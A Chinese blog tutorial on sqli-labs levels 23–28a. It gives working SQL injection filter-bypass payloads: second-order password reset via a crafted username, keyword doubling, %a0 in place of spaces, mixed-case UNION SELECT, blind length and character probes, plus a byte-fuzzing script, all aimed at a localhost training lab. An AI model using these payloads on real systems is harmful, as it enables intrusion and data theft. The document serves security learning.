通過sqli-labs學習sql注入——進階挑戰之less23-28a
這次我又來了,Advanced Injections(進階挑戰),就是一些過濾繞過的東西了,基礎挑戰看這個兩篇
通過sqli-labs學習sql注入——基礎挑戰之less1-10
通過sqli-labs學習sql注入——基礎挑戰之less11-22
首先怎麼判斷過濾了什麼了,我們逐題來看看吧,我們才能進行下一輪操作
less 23 GET - Error based - strip comments (基於錯誤的,過濾註釋的GET型)
首先單引號,報錯
加個%23 (#的url編碼),對於#,get要url編碼,post提交就不用,這個可以看看前面兩篇文章
那麼我們可以知道後臺php將#替換成空了,因為兩個單引號之間沒有空隙
這個不行,那麼-- 單行註釋看看,因為我們要在--後加個空格或其他什麼字元,單行註釋才有效
我們可以看到這裡的報錯只把原語句的limit前面單引號報出來了,因為我們加了空格,使它與我們自己加的單引號隔了一個空格,我們自己加的單引號跟前面的匹配就沒報錯,只報了一個單引號,對比less1我們就知道過濾了--,替換成空了
下面來進行不加空格的對比
下圖是less1的,只對後面的單引號報錯出來,因為這個單引號與前面的id='1'被--分開了,前面單引號是匹配的,不會報錯顯示出來
對於less23,這裡判斷就更加明顯了,兩個單引號之間沒空隙了,所以肯定是將 -- 替換為空字元了
我們看看原始碼,確實是這樣
那麼總結一下如何判斷註釋過濾,具體過濾成什麼就要看報錯資訊了
#:直接加 單引號,雙引號等,後面再加個#
--:這個也是咯,直接加 單引號,雙引號等,後面再加個--,後面不用空格(因為--註釋有效的時候,後面要有空格或其他字元才行,這裡判斷過濾就不用了)
那麼只能閉合繞過了吧,多行註釋符好像不行
提取資料什麼的就看上兩篇的less 1吧
less-24 - Second Degree Injections *Real treat* -Store Injections (二次注入)
登陸一看,就是一個完整的註冊登入,改密碼的網站,一看根目錄,確實有很多檔案
通過在上面註冊登入瞭解了流程之後,我們就對每個檔案都審計一下吧,可以先從index.php開始,
其實真正有跟資料庫互動的就login_create.php,login.php,pass_change.php這三個檔案
login.php (對登入進行處理的檔案),對使用者和密碼都過濾了
login_create.php(對新建使用者進行處理的檔案)
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
過濾了三個欄位,
到了pass_change.php我們就有收穫了
發現更改密碼時,直接從SESSION裡面獲取而沒有進行任何的過濾,一旦我的使用者名稱有註釋符,那麼我就可以隨意更改別人的密碼了
那我們就先新建一個特殊的使用者,再更改密碼就行了
下面以admin為例(賬戶:admin' -- 密碼:asdf)
註冊後看看資料庫有沒有
這樣使用者名稱不是就有了註釋符了,我們登陸去改密碼吧,為了方便檢視效果,我在php新增輸出sql語句
到資料庫看看確實被改了
可能有同學會問,註冊的時候不是被過濾了單引號嗎
是的, 我們admin' -- 變成了admin\' -- ,
這才能使admin\' -- 的左右單引號正常匹配,但存進資料庫的時候他就是一個單引號啊,(轉義只是暫時在這裡使它失去了單引號的作用,但它還是表示單引號)
當然這裡新建使用者
admin' # 也是可以的
less 25 Trick with OR & AND (過濾了or和and)
確認單引號字元注入
http://localhost/sqli-labs/Less-25/?id=1'
判斷過濾了or,跟less1對比報錯即可推斷出來
http://localhost/sqli-labs/Less-25/?id=1' or1
還是截個圖吧,第一個是less1的,第二個圖是less25的
同理
判斷過濾了and
http://localhost/sqli-labs/Less-25/?id=1' and1
再分析下原始碼,開了i模式的匹配,大小寫是不能饒的,我們就可以利用or和and對應的數學符號進行注入了
用&&的時候要urlencode才能傳到後臺
當然還可以雙寫繞過
http://localhost/sqli-labs/Less-25/?id=1' oorr '1'='1
http://localhost/sqli-labs/Less-25/?id=1' anandd '1'='1
less 25a Trick with OR & AND Blind (過濾了or和and的盲注)
那麼盲注怎麼判斷過濾了and跟or呢,直接在前面新增or或and
這一題的程式碼跟上面一樣,只不過這裡是關閉了報錯,所以這裡只講判斷
less 26 Trick with comments and space (過濾了註釋和空格的注入)
確認過濾了#
http://localhost/sqli-labs/Less-26/?id=%231
確認過濾了or
http://localhost/sqli-labs/Less-26/?id=or1
確認過濾多行註釋符
http://localhost/sqli-labs/Less-26/?id=/*1
確認過濾了單行註釋
http://localhost/sqli-labs/Less-26/
確認過濾了斜槓
http://localhost/sqli-labs/Less-26/?id=/1
確認過濾了反斜槓
http://localhost/sqli-labs/Less-26/?id=1\
確認過濾了空格,報錯注入才行哦,這個判斷
http://localhost/sqli-labs/Less-26/?id=1' ' '
真是累啊,下面看看原始碼,我是看著原始碼確認的,所以確認過濾了什麼還是比較累的
下面看看繞過吧,看著都難繞,這次就提取完整的資料吧,
我們常見的繞過空格的就是多行註釋,/**/但這裡過濾了,所以這行不通,
下面試試寬位元組的伎倆看看能不能代替空格,可看下圖發現可以哦,那麼還有沒有其他呢,寫個指令碼跑一下就知道咯(但有點遺憾......,不過還是有點收穫)
指令碼如下:
#-*- coding:utf8 -*-
"""
@version:
@author: giantbranch
@file: testsqli.py
@time: 2016/5/29 23:14
"""
import requests
def changeToHex(num):
tmp = hex(i).replace("0x", "")
if len(tmp)<2:
tmp = '0' + tmp
return "%" + tmp
req = requests.session()
for i in xrange(0,256):
i = changeToHex(i)
url = "http://localhost/sqli-labs/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
ret = req.get(url)
if 'Dumb' in ret.content:
print "good,this can use:" + i
執行結果
我挑第一個09看看,發現除了%a0其他的都不能代替空格,有點傷心啊,其實我們發現除了%a0,基本都是過濾了的字元,如%20(空格),%23(井號),%2a(星號) %2d(減號) %2f (斜槓)%5c(反斜槓),至於%09-%0d都是什麼製表符,換行符,換頁符什麼的,也算是空格吧,這也可以找出程式過濾了什麼符號原來,通不通用還有待測試實踐,改造一下估計可以找出程式過濾了什麼
那麼我們只能用%a0代替空格了
完整payload:
確認欄位數
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271
獲取當前使用的資料庫
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271
獲取表資訊
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271
獲取列資訊
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0anandd%a0table_name='emails'%26%26%a0%271%27=%271
最後獲取資料,發現提取不了
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,email_id,3%a0from%a0emails%26%26%a0%271%27=%271
為什麼表列都提取出來了,資料就提取不了呢,報錯報到我崩潰了,這個暫時擱著,先下一課,知道的可以告訴我
6.10號更新:
終於知道怎麼提取資料了,上面的語法確實是錯誤的,給兩個吧
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union%a0select(1),2,'3
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0%271%27=%271
less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(過濾了空格和註釋的盲注)
這個跟上面差不多,不過這裡不會報錯,那麼判斷過濾了什麼跟上面基本類似,這裡根據頁面的返回有資料還是無資料
但還有個問題,怎麼區分他是過濾了還是強制轉化成整形呢,一幅圖讓你知道
可以看到,由於第一個字元不是數字intval直接轉換為0了,而當過濾了的話,那麼那個id=#1就是正常的id=1時的id了
less 27 GET - Error Based- All your UNION & SELECT belong to us (過濾了union和select的)
老話,判斷為單引號型
http://localhost/sqli-labs/Less-27/?id=1'
發現也過濾空格
具體判斷跟26差不多,union和select看下面
判斷過濾,改一下就可以判斷雙寫,大小寫行不行了
http://localhost/sqli-labs/Less-27/?id=select1
http://localhost/sqli-labs/Less-27/?id=union1
看看過濾吧,
多行註釋,單行註釋,空格
大小寫的union和select
m (PCRE_MULTILINE)
預設情況下,PCRE 認為目標字串是由單行字元組成的(然而實際上它可能會包含多行), "行首"元字元 (^) 僅匹配字串的開始位置, 而"行末"元字元 ($) 僅匹配字串末尾, 或者最後的換行符(除非設定了 D 修飾符)。這個行為和 perl 相同。 當這個修飾符設定之後,“行首”和“行末”就會匹配目標字串中任意換行符之前或之後,另外, 還分別匹配目標字串的最開始和最末尾位置。這等同於 perl 的 /m 修飾符。如果目標字串 中沒有 "\n" 字元,或者模式中沒有出現 ^ 或 $,設定這個修飾符不產生任何影響。
s (PCRE_DOTALL)
如果設定了這個修飾符,模式中的點號元字元匹配所有字元,包含換行符。如果沒有這個 修飾符,點號不匹配換行符。這個修飾符等同於 perl 中的/s修飾符。 一個取反字元類比如 [^a] 總是匹配換行符,而不依賴於這個修飾符的設定。/m 當設定了此修正符,“行起始”和“行結束”除了匹配整個字串開頭和結束外,還分別匹配其中的換行符的之後和之前。這和 Perl 的 /m 修正符是等效的。如果目標字串中沒有“\n”字元或者模式中沒有 ^ 或 $,則設定此修正符沒有任何效果。 實際上就就是匹配多行的意思?
/s 使圓點元字元(.)匹配換行符, 上面這裡沒有點就不用管了,那麼上面直接大小寫繞過就可以了
直接上payload
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1 爆資料庫
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271 爆表
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3 提取資料
或者
資料庫
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,database(),'3
資料表
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271
資料列
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'and%a0table_name='emails'%26%26%a0%271%27=%271
提取資料
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0%271%27=%271
less 27a GET - Blind Based- All your UNION & SELECT belong to us
這個是less 27的盲注版本,雙引號型的
http://localhost/sqli-labs/Less-27a/?id=1"or"1"="1
下面給一下盲注的payload吧,
http://localhost/sqli-labs/Less-27a/?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3
http://localhost/sqli-labs/Less-27a/?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3
判斷資料庫名的長度,其實只是變形了一下,原理跟之前的盲注什麼的沒什麼區別,
less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基於錯誤的,有括號的單引號字元型,過濾了union和select等的注入
直接看程式碼吧,因為跟上面的課程差不多
那個i表示正在匹配的模式,i是忽略大小寫,\s就是匹配任意空白字元,製表符啊,換行啊空格啊等,那我們中間不加空格能繞過吧
還是用%a0吧
最後提取資料的payload
http://localhost/sqli-labs/Less-28/?id=0%27)%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0(%271%27=%271
less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基於盲注的,有括號的單引號字元型,過濾了union和select等的注入
發現作者把前面的都註釋掉了,我們把註釋去掉吧,不然沒挑戰啊
這個是上一個的盲注,有了上面的基礎,也不用說太多了
既然是這篇的最後一課,給個具體payload吧,爆資料庫的,先看名字長度,再看每個字元,有長度才知道要搞多少次嘛
長度是8
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>7)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>8)and('1')=('1
第一個字元是115,即s
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>114)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1
好了,接下來的挑戰就不繼續幹了,希望大家繼續加油,繼續挑戰完
其實後面的挑戰的題解,網上都有,但是最重要的是學習方法,舉一反三,相信你學會了我的學習方法,之後的挑戰也很快可以ko的。